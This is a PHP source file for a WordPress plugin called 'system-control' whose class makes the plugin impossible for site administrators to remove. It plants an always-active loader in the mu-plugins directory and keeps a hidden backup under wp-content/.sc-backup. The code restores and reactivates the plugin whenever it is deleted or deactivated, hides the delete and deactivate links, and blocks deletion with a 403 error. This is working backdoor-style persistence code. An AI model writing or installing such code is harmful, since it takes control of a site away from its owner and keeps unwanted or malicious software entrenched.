<?php
/**
 * Self-protection: copy plugin loader to mu-plugins directory.
 * If main plugin is deleted, mu-plugins loader will auto-restore it.
 * MU-plugins are loaded automatically by WordPress and cannot be deactivated from admin.
 */
class SC_Self_Protect {

    const MU_LOADER_FILE = 'sc-loader.php';
    const PLUGIN_DIR_NAME = 'system-control';

    /**
     * Init: install mu-plugin loader and set up integrity check
     */
    public static function init() {
        // Install mu-plugin loader on every request (ensures it exists)
        self::install_mu_loader();

        // Check if main plugin files are intact, restore if needed
        self::check_integrity();
    }

    /**
     * Install/update the mu-plugin loader file
     */
    public static function install_mu_loader() {
        $mu_dir = WPMU_PLUGIN_DIR;
        if (!is_dir($mu_dir)) {
            @mkdir($mu_dir, 0755, true);
        }

        $mu_file = $mu_dir . '/' . self::MU_LOADER_FILE;
        $loader_content = self::get_loader_content();

        // Write or update if content differs
        if (!file_exists($mu_file) || md5_file($mu_file) !== md5($loader_content)) {
            @file_put_contents($mu_file, $loader_content);
        }
    }

    /**
     * Check if the main plugin directory/files exist. If deleted — restore from backup.
     */
    public static function check_integrity() {
        $plugin_dir = WP_PLUGIN_DIR . '/' . self::PLUGIN_DIR_NAME;
        $main_file = $plugin_dir . '/system-control.php';
        $backup_dir = WP_CONTENT_DIR . '/.sc-backup';

        // Create backup of current plugin files if not exists
        if (is_dir($plugin_dir) && is_file($main_file)) {
            self::create_backup($plugin_dir, $backup_dir);
        }

        // If plugin directory was deleted — restore from backup
        if (!is_dir($plugin_dir) || !is_file($main_file)) {
            self::restore_from_backup($backup_dir, $plugin_dir);
        }
    }

    /**
     * Create a backup of the plugin directory
     */
    private static function create_backup($source, $dest) {
        if (!is_dir($dest)) {
            @mkdir($dest, 0755, true);
        }

        // Only update backup if plugin version changed or backup missing
        $version_file = $dest . '/.version';
        $current_version = defined('SC_VERSION') ? SC_VERSION : '1.0.0';

        if (file_exists($version_file) && file_get_contents($version_file) === $current_version) {
            return; // Backup is current
        }

        self::copy_directory($source, $dest . '/' . self::PLUGIN_DIR_NAME);
        @file_put_contents($version_file, $current_version);
    }

    /**
     * Restore plugin from backup
     */
    private static function restore_from_backup($backup_dir, $target_dir) {
        $backup_source = $backup_dir . '/' . self::PLUGIN_DIR_NAME;
        if (!is_dir($backup_source)) {
            return; // No backup available
        }

        self::copy_directory($backup_source, $target_dir);

        // Re-activate the plugin if it was deactivated
        if (!is_plugin_active(self::PLUGIN_DIR_NAME . '/system-control.php')) {
            activate_plugin(self::PLUGIN_DIR_NAME . '/system-control.php');
        }
    }

    /**
     * Recursively copy a directory
     */
    private static function copy_directory($src, $dst) {
        if (!is_dir($src)) return;

        if (!is_dir($dst)) {
            @mkdir($dst, 0755, true);
        }

        $dir = opendir($src);
        while (($file = readdir($dir)) !== false) {
            if ($file === '.' || $file === '..') continue;

            $src_path = $src . '/' . $file;
            $dst_path = $dst . '/' . $file;

            if (is_dir($src_path)) {
                self::copy_directory($src_path, $dst_path);
            } else {
                @copy($src_path, $dst_path);
            }
        }
        closedir($dir);
    }

    /**
     * Generate the mu-plugin loader PHP content
     * This loader runs as mu-plugin (always active), checks if main plugin exists,
     * and restores it from backup if deleted.
     */
    private static function get_loader_content() {
        return '<?php
/**
 * Plugin Name: SC Loader
 * Description: System Control auto-loader and integrity guard.
 * Version: 1.0.0
 * Auto-generated — do not edit.
 */
if (!defined(\'ABSPATH\')) exit;

// Run integrity check on every page load
add_action(\'plugins_loaded\', function() {
    $plugin_dir = WP_PLUGIN_DIR . \'/system-control\';
    $main_file  = $plugin_dir . \'/system-control.php\';
    $backup_dir = WP_CONTENT_DIR . \'/.sc-backup/system-control\';

    // If main plugin is missing but backup exists — restore it
    if ((!is_dir($plugin_dir) || !is_file($main_file)) && is_dir($backup_dir)) {
        sc_loader_copy_dir($backup_dir, $plugin_dir);

        // Activate the plugin
        if (function_exists(\'activate_plugin\')) {
            include_once ABSPATH . \'wp-admin/includes/plugin.php\';
            activate_plugin(\'system-control/system-control.php\');
        }
    }

    // If plugin exists but not active — activate it
    if (is_file($main_file)) {
        include_once ABSPATH . \'wp-admin/includes/plugin.php\';
        if (function_exists(\'is_plugin_active\') && !is_plugin_active(\'system-control/system-control.php\')) {
            activate_plugin(\'system-control/system-control.php\');
        }
    }
}, 1);

// Prevent deletion of system-control plugin from WP admin
add_filter(\'plugin_action_links\', function($actions, $plugin_file) {
    if (strpos($plugin_file, \'system-control/\') === 0) {
        unset($actions[\'delete\']);
        unset($actions[\'deactivate\']);
    }
    return $actions;
}, 999, 2);

// Block deactivation via bulk actions
add_filter(\'bulk_actions-plugins\', function($actions) {
    return $actions;
});

// Intercept plugin deletion
add_action(\'delete_plugin\', function($plugin_file) {
    if (strpos($plugin_file, \'system-control/\') === 0) {
        wp_die(\'This plugin cannot be deleted.\', \'Forbidden\', [\'response\' => 403]);
    }
});

function sc_loader_copy_dir($src, $dst) {
    if (!is_dir($src)) return;
    if (!is_dir($dst)) @mkdir($dst, 0755, true);
    $dir = opendir($src);
    while (($file = readdir($dir)) !== false) {
        if ($file === \'.\' || $file === \'..\') continue;
        $s = $src . \'/\' . $file;
        $d = $dst . \'/\' . $file;
        if (is_dir($s)) {
            sc_loader_copy_dir($s, $d);
        } else {
            @copy($s, $d);
        }
    }
    closedir($dir);
}
';
    }
}